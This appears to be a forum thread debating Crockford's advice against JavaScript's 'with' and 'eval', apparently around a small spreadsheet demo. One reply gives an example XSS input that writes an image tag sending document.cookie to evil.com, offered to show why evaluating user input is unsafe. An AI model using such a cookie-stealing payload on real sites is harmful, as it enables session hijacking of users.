Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'.
Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s
Are these statements still true ?
Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');
eval of user input is just not safe, and the with statement also presents problems, such as =INPUT
It seems like that would be somewhat XSS safe since you are just passing strings back and forth.
I really like this idea.
evalSafeAsync(code,context,callback)
You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.
That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.
Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.
They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.